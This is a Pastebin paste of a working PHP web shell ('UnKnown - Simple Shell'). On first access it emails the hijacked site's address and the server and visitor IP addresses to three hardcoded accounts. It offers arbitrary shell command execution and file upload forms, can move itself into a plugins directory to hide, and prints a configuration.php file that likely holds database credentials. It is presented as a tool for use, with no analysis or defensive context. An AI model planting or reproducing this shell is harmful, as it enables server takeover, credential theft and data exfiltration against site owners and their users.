Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
686
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.15 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. if (!isset($_SESSION['bajak'])) {
  4.     $visitcount = 0;
  5.     $web = $_SERVER["HTTP_HOST"];
  6.     $inj = $_SERVER["REQUEST_URI"];
  7.     $body = "Target ditemukan \n$web$inj";
  8.     $safem0de = @ini_get('safe_mode');
  9.     if (!$safem0de) {$security= "SAFE_MODE = OFF";}
  10.     else {$security= "SAFE_MODE = ON";};
  11.     $serper=gethostbyname($_SERVER['SERVER_ADDR']);
  12.     $injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
  13.     mail("aldirianto9@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
  14.     mail("karambia159@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
  15.     mail("bebeshark@live.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
  16.     $_SESSION['bajak'] = 1;
  17. }
  18. else {$_SESSION['bajak']++;};
  19. if(isset($_GET['clone'])){
  20.     $source = $_SERVER['SCRIPT_FILENAME'];
  21.     $desti =$_SERVER['DOCUMENT_ROOT']."/plugins/user/explore.php";
  22.     rename($source, $desti);
  23. }
  24. $safem0de = @ini_get('safe_mode');
  25. if (!$safem0de) {$security= "SAFE_MODE : OFF";}
  26.     else {$security= "SAFE_MODE : ON";}
  27.         echo "<title>UnKnown - Simple Shell</title><br>";
  28.         echo "<font size=2 color=#888888><b>".$security."</b><br>";
  29.         $cur_user="(".get_current_user().")";
  30.         echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
  31.         echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
  32.         function pwd() {
  33.             $cwd = getcwd();
  34.             if($u=strrpos($cwd,'/')){
  35.                 if($u!=strlen($cwd)-1){
  36.                     return $cwd.'/';}
  37.                     else{return $cwd;};
  38.                 }
  39.                 elseif($u=strrpos($cwd,'\\')){
  40.                     if($u!=strlen($cwd)-1){
  41.                         return $cwd.'\\';}
  42.                         else{return $cwd;};
  43.                     };
  44.                 }
  45.                 echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
  46.                 echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
  47.                 if(isset($_POST['submit'])){
  48.                     $uploaddir = pwd();
  49.                     if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
  50.                     move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
  51.                     if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
  52.                         echo "Upload Failed";
  53.                     } else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
  54.                 }
  55.                 if(isset($_POST['command'])){
  56.                     $cmd = $_POST['cmd'];
  57.                     echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
  58.                 }
  59.                 elseif(isset($_GET['cmd'])){
  60.                     $comd = $_GET['cmd'];
  61.                     echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
  62.                 }
  63.                 else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
  64.             }
  65.  
  66.             if(isset($_GET['baca'])){
  67.                 $conf = file_get_contents("../../configuration.php");
  68.                 echo $conf;
  69.             }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement